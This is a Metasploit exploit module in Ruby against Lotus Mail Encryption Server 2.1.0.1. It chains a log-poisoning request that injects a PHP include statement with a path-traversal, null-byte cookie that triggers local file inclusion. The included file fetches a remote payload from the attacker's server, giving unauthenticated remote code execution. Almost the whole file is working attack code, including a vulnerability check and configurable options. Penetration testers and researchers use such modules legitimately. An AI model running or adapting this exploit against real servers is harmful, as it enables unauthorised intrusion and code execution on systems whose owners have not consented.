##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
'Description' => %q{
This module exploits a local file inclusion vulnerability in
the Lotus Mail Encryption Server (Protector for Mail Encryption)
administration setup interface. The index.php file uses an unsafe include()
where an unauthenticated remote user may read (traversal) arbitrary file contents.
By abusing a second bug within Lotus, we can inject our payload
into a known location and call it via the LFI to gain remote code execution.
Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable.
You may need to set DATE in the format YYYY-MM-DD to get this working,
where the remote host and metasploit instance have UTC timezone differences.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
#[ 'CVE', 'X' ],
[ 'OSVDB', '87556'],
#[ 'BID', 'X' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
'DisclosureDate' => 'Nov 9 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
], self.class)
end
def check
res = send_request_cgi( { 'uri' => '/' })
if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def php_exploit
logfile = datastore['DATE'] ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
print_error("DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
return
end
# set up the initial log file RCE - this is unescaped ascii so we can execute it
# later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
# tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
# filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick
inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
res = send_request_cgi( { 'uri' => inject_url })
if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
vprint_good("Payload injected...")
response = send_request_cgi( {
'uri' => '/omc/pme/index.php',
'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
})
end
end
end
